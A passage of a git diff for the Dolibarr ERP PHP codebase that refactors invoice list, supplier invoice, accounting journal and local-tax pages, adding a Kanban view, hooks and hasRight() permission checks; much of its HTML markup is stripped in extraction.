      '; $tmptitle = $langs->trans('CustomersProspectsCategoriesShort'); @@ -1379,19 +1393,19 @@ if ($resql) { } // Project ref if (!empty($arrayfields['p.ref']['checked'])) { - print '
      0 ? " disabled" : "").'> 0 ? " disabled" : "").'>'; - print ''; + print ''; print ''; - print ''; + print ''; print ''; + print ''; $liststatus = array('0'=>$langs->trans("BillShortStatusDraft"), '0,1'=>$langs->trans("BillShortStatusDraft").'+'.$langs->trans("BillShortStatusNotPaid"), '1'=>$langs->trans("BillShortStatusNotPaid"), '1,2'=>$langs->trans("BillShortStatusNotPaid").'+'.$langs->trans("BillShortStatusPaid"), '2'=>$langs->trans("BillShortStatusPaid"), '3'=>$langs->trans("BillShortStatusCanceled")); - print $form->selectarray('search_status', $liststatus, $search_status, 1, 0, 0, '', 0, 0, 0, '', '', 1); + print $form->selectarray('search_status', $liststatus, $search_status, 1, 0, 0, '', 0, 0, 0, '', 'search_status width100 onrightofpage', 1); print '
      '; + print '
      '; } - print '});"'; - } - print '>'; - - - // Action column - if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print '
      '; - if (($massactionbutton || $massaction) && $contextpage != 'poslist') { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($obj->id, $arrayofselected)) { - $selected = 1; + // Output Kanban + $facturestatic->socid = $companystatic->getNomUrl(1, 'company', 15); + $userstatic->fetch($obj->fk_user_author); + $facturestatic->fk_user_author = $userstatic->getNomUrl(1); + print $facturestatic->getKanbanView(''); + if ($i == ($imaxinloop - 1)) { + print ''; + print '
      '.(($offset * $limit) + $i).''; - - print ''; - - print ''; - print ''; - print '
      '; - if ($contextpage == 'poslist') { - print dol_escape_htmltag($obj->ref); - } else { - print $facturestatic->getNomUrl(1, '', 200, 0, '', 0, 1); - } - - $filename = dol_sanitizeFileName($obj->ref); - $filedir = $conf->facture->dir_output.'/'.dol_sanitizeFileName($obj->ref); - $urlsource = $_SERVER['PHP_SELF'].'?id='.$obj->id; - print $formfile->getDocumentsLink($facturestatic->element, $filename, $filedir); - print '
      '; - - print "
      '; - print dol_escape_htmltag($obj->ref_client); - print ''; - print $facturestatic->getLibType(2); - print "'; - print dol_print_date($db->jdate($obj->datef), 'day'); - print ''; - print dol_print_date($db->jdate($obj->date_valid), 'day'); - print ''.dol_print_date($datelimit, 'day'); - if ($facturestatic->hasDelay()) { - print img_warning($langs->trans('Alert').' - '.$langs->trans('Late')); - } - print ''; - if ($obj->project_id > 0) { - print $projectstatic->getNomUrl(1); - } - print ''; - if ($obj->project_id > 0) { - print dol_escape_htmltag($projectstatic->title); - } - print ''; - if ($contextpage == 'poslist') { - print dol_escape_htmltag($companystatic->name); - } else { - print $companystatic->getNomUrl(1, 'customer', 0, 0, -1, empty($arrayfields['s.name_alias']['checked']) ? 0 : 1); - } - print ''; - print dol_escape_htmltag($companystatic->name_alias); - print ''; - if ($obj->fk_parent > 0) { - if (!isset($company_url_list[$obj->fk_parent])) { - $companyparent = new Societe($db); - $res = $companyparent->fetch($obj->fk_parent); - if ($res > 0) { - $company_url_list[$obj->fk_parent] = $companyparent->getNomUrl(1); + // Action column + if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; + if (($massactionbutton || $massaction) && $contextpage != 'poslist') { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($obj->id, $arrayofselected)) { + $selected = 1; } + print ''; } - if (isset($company_url_list[$obj->fk_parent])) { - print $company_url_list[$obj->fk_parent]; + print ''.(($offset * $limit) + $i).''; + + print ''; + + print ''; + print ''; + print '
      '; + if ($contextpage == 'poslist') { + print dol_escape_htmltag($obj->ref); + } else { + print $facturestatic->getNomUrl(1, '', 200, 0, '', 0, 1); + } + + $filename = dol_sanitizeFileName($obj->ref); + $filedir = $conf->facture->dir_output.'/'.dol_sanitizeFileName($obj->ref); + $urlsource = $_SERVER['PHP_SELF'].'?id='.$obj->id; + print $formfile->getDocumentsLink($facturestatic->element, $filename, $filedir); + print '
      '; + + print "
      '; - print dol_escape_htmltag($obj->town); - print ''; - print dol_escape_htmltag($obj->zip); - print '".dol_escape_htmltag($obj->state_name)."'; - $tmparray = getCountry($obj->fk_pays, 'all'); - print $tmparray['label']; - print ''; - if (!is_array($typenArray) || count($typenArray) == 0) { - $typenArray = $formcompany->typent_array(1); - } - print $typenArray[$obj->typent_code]; - print ''; - if (!is_array($conf->cache['staff']) || count($conf->cache['staff']) == 0) { - $conf->cache['staff'] = $formcompany->effectif_array(1); - } - print $conf->cache['staff'][$obj->staff_code]; - print ''; - print $s; - print ''; - print $s; - print ''; - print dol_escape_htmltag($obj->module_source); - print ''; - print dol_escape_htmltag($obj->pos_source); - print ''.price($obj->total_ht)."'.price($obj->total_tva)."'.price($obj->total_localtax1)."'.price($obj->total_localtax2)."'.price($obj->total_ttc)."'; - if ($userstatic->id) { - print $userstatic->getNomUrl(-1); - } else { - print ' '; - } - print "'; - if ($obj->socid > 0) { - $listsalesrepresentatives = $companystatic->getSalesRepresentatives($user); - if ($listsalesrepresentatives < 0) { - dol_print_error($db); + // Customer ref + if (!empty($arrayfields['f.ref_client']['checked'])) { + print ''; + print dol_escape_htmltag($obj->ref_client); + print ''; + print $facturestatic->getLibType(2); + print "'; + print dol_print_date($db->jdate($obj->datef), 'day'); + print ''; + print dol_print_date($db->jdate($obj->date_valid), 'day'); + print ''.dol_print_date($datelimit, 'day'); + if ($facturestatic->hasDelay()) { + print img_warning($langs->trans('Alert').' - '.$langs->trans('Late')); + } + print ''; + if ($obj->project_id > 0) { + print $projectstatic->getNomUrl(1); + } + print ''; + if ($obj->project_id > 0) { + print dol_escape_htmltag($projectstatic->title); + } + print ''; + if ($contextpage == 'poslist') { + print dol_escape_htmltag($companystatic->name); + } else { + print $companystatic->getNomUrl(1, 'customer', 0, 0, -1, empty($arrayfields['s.name_alias']['checked']) ? 0 : 1); + } + print ''; + print dol_escape_htmltag($companystatic->name_alias); + print ''; + if ($obj->fk_parent > 0) { + if (!isset($company_url_list[$obj->fk_parent])) { + $companyparent = new Societe($db); + $res = $companyparent->fetch($obj->fk_parent); + if ($res > 0) { + $company_url_list[$obj->fk_parent] = $companyparent->getNomUrl(1); } - //print ''; + } + if (isset($company_url_list[$obj->fk_parent])) { + print $company_url_list[$obj->fk_parent]; } } - //else print $langs->trans("NoSalesRepresentativeAffected"); - } else { - print ' '; + print "'; + print dol_escape_htmltag($companystatic->code_client); + print ''; + print dol_escape_htmltag($obj->town); + print ''; + print dol_escape_htmltag($obj->zip); + print '".dol_escape_htmltag($obj->state_name)."'; + $tmparray = getCountry($obj->fk_pays, 'all'); + print $tmparray['label']; + print ''; + if (!is_array($typenArray) || count($typenArray) == 0) { + $typenArray = $formcompany->typent_array(1); + } + print $typenArray[$obj->typent_code]; + print ''; + if (!is_array($conf->cache['staff']) || count($conf->cache['staff']) == 0) { + $conf->cache['staff'] = $formcompany->effectif_array(1); + } + print $conf->cache['staff'][$obj->staff_code]; + print ''.(!empty($obj->retained_warranty) ? price($obj->retained_warranty).'%' : ' ').''; + print $s; + print ''.(!empty($totalpay) ? price($totalpay, 0, $langs) : ' ').''; + print $s; + print ''; - print (!empty($remaintopay) ? price($remaintopay, 0, $langs) : ' '); - print ''; + print dol_escape_htmltag($obj->module_source); + print ''; + print dol_escape_htmltag($obj->pos_source); + print ''; - if (empty($conf->global->MAIN_SHOW_ONLY_CODE_MULTICURRENCY)) { - print $langs->transnoentitiesnoconv('Currency'.$obj->multicurrency_code); - } else { - print dol_escape_htmltag($obj->multicurrency_code); + // Amount HT + if (!empty($arrayfields['f.total_ht']['checked'])) { + print ''.price($obj->total_ht)."'.price($obj->total_tva)."'.price($obj->total_localtax1)."'.price($obj->total_localtax2)."'.price($obj->total_ttc)."'; - $form->form_multicurrency_rate($_SERVER['PHP_SELF'].'?id='.$obj->rowid, $obj->multicurrency_tx, 'none', $obj->multicurrency_code); - print "'.price($obj->multicurrency_total_ht)."'.price($obj->multicurrency_total_vat)."'.price($obj->multicurrency_total_ttc)."'.(!empty($multicurrency_totalpay) ?price($multicurrency_totalpay, 0, $langs) : ' ').''; - print (!empty($multicurrency_remaintopay) ? price($multicurrency_remaintopay, 0, $langs) : ' '); - print ''.price($marginInfo['pa_total']).''.price($marginInfo['total_margin']).''.(($marginInfo['total_margin_rate'] == '') ? '' : price($marginInfo['total_margin_rate'], null, null, null, null, 2).'%').''.(($marginInfo['total_mark_rate'] == '') ? '' : price($marginInfo['total_mark_rate'], null, null, null, null, 2).'%').''; + if ($userstatic->id) { + print $userstatic->getNomUrl(-1); } else { - $totalarray['val']['total_mark_rate'] = ''; + print ' '; + } + print "'; - print dol_print_date($db->jdate($obj->date_creation), 'dayhour', 'tzuser'); - print ''; - print dol_print_date($db->jdate($obj->date_update), 'dayhour', 'tzuser'); - print ''; - print dol_print_date($db->jdate($obj->date_closing), 'dayhour', 'tzuser'); - print ''; - print dol_string_nohtmltag($obj->note_public); - print ''; - print dol_string_nohtmltag($obj->note_private); - print ''; - if (!empty($obj->fk_fac_rec_source)) { - $facrec = new FactureRec($db); - $result = $facrec->fetch($obj->fk_fac_rec_source); - if ($result < 0) { - setEventMessages($facrec->error, $facrec->errors, 'errors'); + if (!empty($arrayfields['sale_representative']['checked'])) { + // Sales representatives + print ''; + if ($obj->socid > 0) { + $listsalesrepresentatives = $companystatic->getSalesRepresentatives($user); + if ($listsalesrepresentatives < 0) { + dol_print_error($db); + } + $nbofsalesrepresentative = count($listsalesrepresentatives); + if ($nbofsalesrepresentative > 6) { + // We print only number + print $nbofsalesrepresentative; + } elseif ($nbofsalesrepresentative > 0) { + $j = 0; + foreach ($listsalesrepresentatives as $val) { + $userstatic->id = $val['id']; + $userstatic->lastname = $val['lastname']; + $userstatic->firstname = $val['firstname']; + $userstatic->email = $val['email']; + $userstatic->statut = $val['statut']; + $userstatic->entity = $val['entity']; + $userstatic->photo = $val['photo']; + $userstatic->login = $val['login']; + $userstatic->office_phone = $val['office_phone']; + $userstatic->office_fax = $val['office_fax']; + $userstatic->user_mobile = $val['user_mobile']; + $userstatic->job = $val['job']; + $userstatic->gender = $val['gender']; + //print '
      ': + print ($nbofsalesrepresentative < 2) ? $userstatic->getNomUrl(-1, '', 0, 0, 12) : $userstatic->getNomUrl(-2); + $j++; + if ($j < $nbofsalesrepresentative) { + print ' '; + } + //print '
      '; + } + } + //else print $langs->trans("NoSalesRepresentativeAffected"); } else { - print $facrec->getNomUrl(); + print ' '; + } + print '
      '; - print $facturestatic->getLibStatut(5, $paiement); - print "'.(!empty($obj->retained_warranty) ? price($obj->retained_warranty).'%' : ' ').''; - if (($massactionbutton || $massaction) && $contextpage != 'poslist') { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($obj->id, $arrayofselected)) { - $selected = 1; + if (!empty($arrayfields['dynamount_payed']['checked'])) { + print ''.(!empty($totalpay) ? price($totalpay, 0, $langs) : ' ').''; + print (!empty($remaintopay) ? price($remaintopay, 0, $langs) : ' '); + print ''; + if (empty($conf->global->MAIN_SHOW_ONLY_CODE_MULTICURRENCY)) { + print $langs->transnoentitiesnoconv('Currency'.$obj->multicurrency_code); + } else { + print dol_escape_htmltag($obj->multicurrency_code); + } + print "'; + $form->form_multicurrency_rate($_SERVER['PHP_SELF'].'?id='.$obj->rowid, $obj->multicurrency_tx, 'none', $obj->multicurrency_code); + print "'.price($obj->multicurrency_total_ht)."'.price($obj->multicurrency_total_vat)."'.price($obj->multicurrency_total_ttc)."'.(!empty($multicurrency_totalpay) ? price($multicurrency_totalpay, 0, $langs) : ' ').''; + print (!empty($multicurrency_remaintopay) ? price($multicurrency_remaintopay, 0, $langs) : ' '); + print ''.price($marginInfo['pa_total'], 0, $langs, 1, -1, 'MT').''.price($marginInfo['total_margin'], 0, $langs, 1, -1, 'MT').''.(($marginInfo['total_margin_rate'] == '') ? '' : price($marginInfo['total_margin_rate'], null, null, null, null, 2).'%').''.(($marginInfo['total_mark_rate'] == '') ? '' : price($marginInfo['total_mark_rate'], null, null, null, null, 2).'%').''; + print dol_print_date($db->jdate($obj->date_creation), 'dayhour', 'tzuser'); + print ''; + print dol_print_date($db->jdate($obj->date_update), 'dayhour', 'tzuser'); + print ''; + print dol_print_date($db->jdate($obj->date_closing), 'dayhour', 'tzuser'); + print ''; + print dol_string_nohtmltag($obj->note_public); + print ''; + print dol_string_nohtmltag($obj->note_private); + print ''; + if (!empty($obj->fk_fac_rec_source)) { + $facrec = new FactureRec($db); + $result = $facrec->fetch($obj->fk_fac_rec_source); + if ($result < 0) { + setEventMessages($facrec->error, $facrec->errors, 'errors'); + } else { + print $facrec->getNomUrl(); + } + } + print ''; + print $facturestatic->getLibStatut(5, $paiement); + print "'; + if (($massactionbutton || $massaction) && $contextpage != 'poslist') { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($obj->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '
      '; - if ($object->type != $object::TYPE_CREDIT_NOTE && $action != 'editinvoicedate' && !empty($object->brouillon) && $user->rights->facture->creer) { + if ($object->type != $object::TYPE_CREDIT_NOTE && $action != 'editinvoicedate' && !empty($object->brouillon) && $user->hasRight('facture', 'creer')) { print ''; } print '
      '; print $langs->trans('DateInvoice'); print 'id.'&type='.urlencode($type).'">'.img_edit($langs->trans('SetDate'), 1).'
      '; @@ -506,7 +523,7 @@ if ($object->id > 0) { print ''; - if ($object->type != $object::TYPE_CREDIT_NOTE && $action != 'editconditions' && !empty($object->brouillon) && $user->rights->facture->creer) { + if ($object->type != $object::TYPE_CREDIT_NOTE && $action != 'editconditions' && !empty($object->brouillon) && $user->hasRight('facture', 'creer')) { print ''; } print '
      '; print $langs->trans('PaymentConditionsShort'); print 'id.'&type='.urlencode($type).'">'.img_edit($langs->trans('SetConditions'), 1).'
      '; @@ -527,7 +544,7 @@ if ($object->id > 0) { print ''; - if ($object->type != $object::TYPE_CREDIT_NOTE && $action != 'editpaymentterm' && !empty($object->brouillon) && $user->rights->facture->creer) { + if ($object->type != $object::TYPE_CREDIT_NOTE && $action != 'editpaymentterm' && !empty($object->brouillon) && $user->hasRight('facture', 'creer')) { print ''; } print '
      '; print $langs->trans('DateMaxPayment'); print 'id.'&type='.urlencode($type).'">'.img_edit($langs->trans('SetDate'), 1).'
      '; @@ -556,7 +573,7 @@ if ($object->id > 0) { print ''; - if ($action != 'editmode' && !empty($object->brouillon) && $user->rights->facture->creer) { + if ($action != 'editmode' && !empty($object->brouillon) && $user->hasRight('facture', 'creer')) { print ''; } print '
      '; print $langs->trans('PaymentMode'); print 'id.'&type='.urlencode($type).'">'.img_edit($langs->trans('SetMode'), 1).'
      '; @@ -577,7 +594,7 @@ if ($object->id > 0) { print ''; } print '
      '; print $langs->trans('BankAccount'); print ''; - if (($action != 'editbankaccount') && $user->rights->commande->creer && !empty($object->brouillon)) { + if (($action != 'editbankaccount') && $user->hasRight('commande', 'creer') && !empty($object->brouillon)) { print 'id.'&type='.urlencode($type).'">'.img_edit($langs->trans('SetBankAccount'), 1).'
      '; @@ -662,7 +679,7 @@ if ($object->id > 0) { print ''; - if ($action != 'editrevenuestamp' && !empty($object->brouillon) && $user->rights->facture->creer) { + if ($action != 'editrevenuestamp' && !empty($object->brouillon) && $user->hasRight('facture', 'creer')) { print ''; } print '
      '; print $langs->trans('RevenueStamp'); print 'id.'">'.img_edit($langs->trans('SetRevenuStamp'), 1).'
      '; @@ -676,6 +693,16 @@ if ($object->id > 0) { $resteapayer = price2num($object->total_ttc - $totalpaid - $totalcreditnotes - $totaldeposits, 'MT'); + // Hook to change amount for other reasons, e.g. apply cash discount for payment before agreed date + $parameters = array('remaintopay' => $resteapayer); + $reshook = $hookmanager->executeHooks('finalizeAmountOfSupplierInvoice', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks + if ($reshook > 0) { + print $hookmanager->resPrint; + if (!empty($remaintopay = $hookmanager->resArray['remaintopay'])) { + $resteapayer = $remaintopay; + } + } + // TODO Replace this by an include with same code to show already done payment visible in invoice card print '
      '.$langs->trans('RemainderToPay').''.price($resteapayer, 1, '', 1, - 1, - 1, $conf->currency).'
      '.$langs->trans("User").''.$langs->trans("Amount").''.$langs->trans("DateProcess").' '.$langs->trans("BankTransferReceipt").''.$langs->trans("WithdrawalReceipt").'  
      '.price($obj->amount).''.$langs->trans("OrderWaiting").''; - if (!empty($conf->global->STRIPE_SEPA_DIRECT_DEBIT)) { - $langs->load("stripe"); - print 'rowid.'&id='.$object->id.'&type='.urlencode($type).'">'.img_picto('', 'stripe', 'class="pictofixedwidth"').$langs->trans("RequestDirectDebitWithStripe").''; + // Link to make payment now + print ''; + if ($obj->fk_prelevement_bons > 0) { + $withdrawreceipt = new BonPrelevement($db); + $withdrawreceipt->id = $obj->fk_prelevement_bons; + $withdrawreceipt->ref = $obj->ref; + $withdrawreceipt->date_trans = $db->jdate($obj->date_trans); + $withdrawreceipt->date_credit = $db->jdate($obj->date_credit); + $withdrawreceipt->date_creation = $db->jdate($obj->datec); + $withdrawreceipt->statut = $obj->status; + $withdrawreceipt->status = $obj->status; + $withdrawreceipt->amount = $obj->pb_amount; + //$withdrawreceipt->credite = $db->jdate($obj->credite); + + print $withdrawreceipt->getNomUrl(1); + } + + if ($type != 'bank-transfer') { + if (!empty($conf->global->STRIPE_SEPA_DIRECT_DEBIT)) { + $langs->load("stripe"); + if ($obj->fk_prelevement_bons > 0) { + print '   '; + } + print 'rowid.'&id='.$object->id.'&type='.urlencode($type).'">'.img_picto('', 'stripe', 'class="pictofixedwidth"').$langs->trans("RequestDirectDebitWithStripe").''; + } + } else { + if (!empty($conf->global->STRIPE_SEPA_CREDIT_TRANSFER)) { + $langs->load("stripe"); + if ($obj->fk_prelevement_bons > 0) { + print '   '; + } + print 'rowid.'&id='.$object->id.'&type='.urlencode($type).'">'.img_picto('', 'stripe', 'class="pictofixedwidth"').$langs->trans("RequestDirectDebitWithStripe").''; + } } print '--'; - print ''; + print ''; print img_delete(); print '
      '.dol_print_date($db->jdate($obj->date_demande), 'day')."'; print $tmpuser->getNomUrl(1, '', 0, 0, 0, 0, 'login'); print ''.price($obj->amount).''.price($obj->amount).''.dol_print_date($db->jdate($obj->date_traite), 'dayhour', 'tzuserrel')."'; if ($obj->fk_prelevement_bons > 0) { $withdrawreceipt = new BonPrelevement($db); $withdrawreceipt->id = $obj->fk_prelevement_bons; $withdrawreceipt->ref = $obj->ref; + $withdrawreceipt->date_trans = $db->jdate($obj->date_trans); + $withdrawreceipt->date_credit = $db->jdate($obj->date_credit); + $withdrawreceipt->date_creation = $db->jdate($obj->datec); + $withdrawreceipt->statut = $obj->status; + $withdrawreceipt->status = $obj->status; + $withdrawreceipt->fk_bank_account = $obj->fk_bank_account; + $withdrawreceipt->amount = $obj->pb_amount; + //$withdrawreceipt->credite = $db->jdate($obj->credite); + print $withdrawreceipt->getNomUrl(1); + print ' '; + print $withdrawreceipt->getLibStatut(2); + + // Show the bank account + $fk_bank_account = $withdrawreceipt->fk_bank_account; + if (empty($fk_bank_account)) { + $fk_bank_account = ($object->type == 'bank-transfer' ? $conf->global->PAYMENTBYBANKTRANSFER_ID_BANKACCOUNT : $conf->global->PRELEVEMENT_ID_BANKACCOUNT); + } + if ($fk_bank_account > 0) { + $bankaccount = new Account($db); + $result = $bankaccount->fetch($fk_bank_account); + if ($result > 0) { + print ' - '; + print $bankaccount->getNomUrl(1); + } + } } print " '.dol_print_date($db->jdate($obj->date_traite), 'day')." 
      '.$langs->trans("None").'
      0 ? '&userid='.$userid : '').'">'.$year.''.$val['nb'].''.(!empty($val['nb_diff']) && $val['nb_diff'] < 0 ? '' : '+').round(!empty($val['nb_diff']) ? $val['nb_diff'] : 0).'%'.(!empty($val['nb_diff']) && $val['nb_diff'] < 0 ? '' : '+').round(!empty($val['nb_diff']) ? $val['nb_diff'] : 0).'%'.price(price2num($val['total'], 'MT'), 1).''.( !empty($val['total_diff']) && $val['total_diff'] < 0 ? '' : '+').round(!empty($val['total_diff']) ? $val['total_diff'] : 0).'%'.( !empty($val['total_diff']) && $val['total_diff'] < 0 ? '' : '+').round(!empty($val['total_diff']) ? $val['total_diff'] : 0).'%'.price(price2num($val['avg'], 'MT'), 1).''.(!empty($val['avg_diff']) && $val['avg_diff'] < 0 ? '' : '+').round(!empty($val['avg_diff']) ? $val['avg_diff'] : 0).'%'.(!empty($val['avg_diff']) && $val['avg_diff'] < 0 ? '' : '+').round(!empty($val['avg_diff']) ? $val['avg_diff'] : 0).'%
      '; print ''; -print '
      '; +print '
      '; print dol_get_fiche_end(); diff --git a/htdocs/compta/facture/tpl/linkedobjectblock.tpl.php b/htdocs/compta/facture/tpl/linkedobjectblock.tpl.php index e361941b704..ca782052ff4 100644 --- a/htdocs/compta/facture/tpl/linkedobjectblock.tpl.php +++ b/htdocs/compta/facture/tpl/linkedobjectblock.tpl.php @@ -67,18 +67,14 @@ foreach ($linkedObjectBlock as $key => $objectlink) { break; } print '
      '.$objectlink->getNomUrl(1).''.$objectlink->getNomUrl(1).''.dol_escape_htmltag($objectlink->ref_client).''.dol_print_date($objectlink->date, 'day').''; if (!empty($objectlink) && $objectlink->element == 'facture' && $user->hasRight('facture', 'lire')) { - $sign = 1; - if ($objectlink->type == Facture::TYPE_CREDIT_NOTE) { - $sign = -1; - } if ($objectlink->statut != 3) { // If not abandonned - $total = $total + $sign * $objectlink->total_ht; + $total += $objectlink->total_ht; echo price($objectlink->total_ht); } else { echo ''.price($objectlink->total_ht).''; diff --git a/htdocs/compta/facture/tpl/linkedobjectblockForRec.tpl.php b/htdocs/compta/facture/tpl/linkedobjectblockForRec.tpl.php index 1bca663e1ef..c3c774b79e7 100644 --- a/htdocs/compta/facture/tpl/linkedobjectblockForRec.tpl.php +++ b/htdocs/compta/facture/tpl/linkedobjectblockForRec.tpl.php @@ -47,7 +47,7 @@ foreach ($linkedObjectBlock as $key => $objectlink) { ?>
      trans("RepeatableInvoice"); ?>getNomUrl(1); ?>getNomUrl(1); ?> date_when, 'day'); ?> * Copyright (C) 2020 Tobias Sekan * Copyright (C) 2020 Josep Lluís Amador - * Copyright (C) 2021 Frédéric France + * Copyright (C) 2021-2023 Frédéric France * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -111,7 +111,7 @@ if (isModEnabled('facture')) { } if (isModEnabled('fournisseur') || isModEnabled('supplier_invoice')) { - print getNumberInvoicesPieChart('fourn'); + print getNumberInvoicesPieChart('suppliers'); print '
      '; } @@ -281,7 +281,7 @@ if (isModEnabled('facture') && !empty($user->rights->facture->lire)) { // Last modified supplier invoices -if ((isModEnabled('fournisseur') && empty($conf->global->MAIN_USE_NEW_SUPPLIERMOD) && $user->rights->fournisseur->facture->lire) || (isModEnabled('supplier_invoice') && $user->rights->supplier_invoice->lire)) { +if ((isModEnabled('fournisseur') && empty($conf->global->MAIN_USE_NEW_SUPPLIERMOD) && $user->hasRight("fournisseur", "facture", "lire")) || (isModEnabled('supplier_invoice') && $user->hasRight("supplier_invoice", "lire"))) { $langs->load("boxes"); $facstatic = new FactureFournisseur($db); @@ -459,7 +459,7 @@ if (isModEnabled('don') && !empty($user->rights->don->lire)) { $donationstatic->ref = $obj->rowid; $donationstatic->lastname = $obj->lastname; $donationstatic->firstname = $obj->firstname; - $donationstatic->date = $obj->date; + $donationstatic->date = $db->jdate($obj->date); $donationstatic->statut = $obj->status; $donationstatic->status = $obj->status; @@ -487,7 +487,7 @@ if (isModEnabled('don') && !empty($user->rights->don->lire)) { print "
      '.$langs->trans("None").'
      '.$langs->trans("None").'

      '; } else { @@ -590,7 +590,7 @@ if (isModEnabled('tax') && !empty($user->rights->tax->charges->lire)) { /* * Customers orders to be billed */ -if (isModEnabled('facture') && isModEnabled('commande') && $user->rights->commande->lire && empty($conf->global->WORKFLOW_DISABLE_CREATE_INVOICE_FROM_ORDER)) { +if (isModEnabled('facture') && isModEnabled('commande') && $user->hasRight("commande", "lire") && empty($conf->global->WORKFLOW_DISABLE_CREATE_INVOICE_FROM_ORDER)) { $commandestatic = new Commande($db); $langs->load("orders"); @@ -742,21 +742,25 @@ if (isModEnabled('facture') && isModEnabled('commande') && $user->rights->comman // TODO Mettre ici recup des actions en rapport avec la compta -$resql = ''; -if ($resql) { +$sql = ''; +if ($sql) { print '
      '; print ''; print ''.$langs->trans("TasksToDo").''; print "\n"; $i = 0; - while ($i < $db->num_rows($resql)) { - $obj = $db->fetch_object($resql); + $resql = $db->query($sql); + if ($resql) { + $num_rows = $db->num_rows($resql); + while ($i < $num_rows) { + $obj = $db->fetch_object($resql); - print ''; - print ''; - $i++; + print ''; + print ''; + $i++; + } + $db->free($resql); } - $db->free($resql); print "
      '.dol_print_date($db->jdate($obj->da), "day").''.$obj->label.'
      '.dol_print_date($db->jdate($obj->da), "day").''.$obj->label.'

      "; } diff --git a/htdocs/compta/journal/purchasesjournal.php b/htdocs/compta/journal/purchasesjournal.php index e71a85004d1..432b991c5d3 100644 --- a/htdocs/compta/journal/purchasesjournal.php +++ b/htdocs/compta/journal/purchasesjournal.php @@ -55,7 +55,7 @@ if (isModEnabled('comptabilite')) { if (isModEnabled('accounting')) { $result = restrictedArea($user, 'accounting', '', '', 'comptarapport'); } - +$hookmanager->initHooks(['purchasejournallist']); /* * Actions @@ -192,13 +192,15 @@ if ($result) { /* * Show result array */ -print ""; +print '
      '; print ""; ///print ""; print ""; print ""; print ""; -print ""; +print ""; +print ""; +print ""; print "\n"; diff --git a/htdocs/compta/journal/sellsjournal.php b/htdocs/compta/journal/sellsjournal.php index 0fc5a192271..90a8b36c1ce 100644 --- a/htdocs/compta/journal/sellsjournal.php +++ b/htdocs/compta/journal/sellsjournal.php @@ -57,6 +57,7 @@ if (isModEnabled('comptabilite')) { if (isModEnabled('accounting')) { $result = restrictedArea($user, 'accounting', '', '', 'comptarapport'); } +$hookmanager->initHooks(['selljournallist']); /* * Actions @@ -237,12 +238,14 @@ if ($result) { */ -print '
      ".$langs->trans("JournalNum")."".$langs->trans("Date")."".$langs->trans("Piece").' ('.$langs->trans("InvoiceRef").")".$langs->trans("Account")."".$langs->trans("Type")."".$langs->trans("Debit")."".$langs->trans("Credit")."".$langs->trans("Type")."".$langs->trans("AccountingDebit")."".$langs->trans("AccountingCredit")."
      '; +print '
      '; print ''; //print ""; print ''; print ''; -print ''; +print ''; +print ''; +print ''; print "\n"; diff --git a/htdocs/compta/localtax/card.php b/htdocs/compta/localtax/card.php index 8b6119db13a..ad80b6d1b6d 100644 --- a/htdocs/compta/localtax/card.php +++ b/htdocs/compta/localtax/card.php @@ -144,9 +144,12 @@ $form = new Form($db); $title = $langs->trans("LT".$object->ltt)." - ".$langs->trans("Card"); $help_url = ''; -llxHeader('', $title, $helpurl); +llxHeader('', $title, $help_url); if ($action == 'create') { + $datev = dol_mktime(12, 0, 0, GETPOST("datevmonth"), GETPOST("datevday"), GETPOST("datevyear")); + $datep = dol_mktime(12, 0, 0, GETPOST("datepmonth"), GETPOST("datepday"), GETPOST("datepyear")); + print load_fiche_titre($langs->transcountry($lttype == 2 ? "newLT2Payment" : "newLT1Payment", $mysoc->country_code)); print ''."\n"; diff --git a/htdocs/compta/localtax/class/localtax.class.php b/htdocs/compta/localtax/class/localtax.class.php index ed467ec91f4..95647d0f65e 100644 --- a/htdocs/compta/localtax/class/localtax.class.php +++ b/htdocs/compta/localtax/class/localtax.class.php @@ -629,4 +629,43 @@ class Localtax extends CommonObject return ''; } + + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @param array $arraydata Array of data + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '', $arraydata = null) + { + global $langs; + + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= ''; + $return .= img_picto('', $this->picto); + $return .= ''; + $return .= '
      '; + $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl() : $this->ref).''; + $return .= ''; + if (property_exists($this, 'label')) { + $return .= ' | '.$this->label.''; + } + if (property_exists($this, 'datev')) { + $return .= '
      '.$langs->trans("DateEnd").' : '.dol_print_date($this->db->jdate($this->datev), 'day').''; + } + if (property_exists($this, 'datep')) { + $return .= '
      '.$langs->trans("DatePayment", '', '', '', '', 5).' : '.dol_print_date($this->db->jdate($this->datep), 'day').''; + } + if (property_exists($this, 'amount')) { + $return .= '
      '.$langs->trans("Amount").' : '.price($this->amount).''; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
      '; + return $return; + } } diff --git a/htdocs/compta/localtax/clients.php b/htdocs/compta/localtax/clients.php index d5aef47c285..d7b0ccbda73 100644 --- a/htdocs/compta/localtax/clients.php +++ b/htdocs/compta/localtax/clients.php @@ -110,7 +110,7 @@ if (empty($local)) { accessforbidden('Parameter localTaxType is missing'); exit; } - +$hookmanager->initHooks(['customerlocaltaxlist']); $calc = 0; /* @@ -185,7 +185,7 @@ $vatcust = $langs->transcountry($local == 1 ? "LT1" : "LT2", $mysoc->country_cod $vatsup = $langs->transcountry($local == 1 ? "LT1" : "LT2", $mysoc->country_code); print '
      '; -print '
      ".$langs->trans("JournalNum")."'.$langs->trans('Date').''.$langs->trans('Piece').' ('.$langs->trans('InvoiceRef').')'.$langs->trans('Account').''.$langs->trans('Type').''.$langs->trans('Debit').''.$langs->trans('Credit').''.$langs->trans('Type').''.$langs->trans('AccountingDebit').''.$langs->trans('AccountingCredit').'
      '; +print '
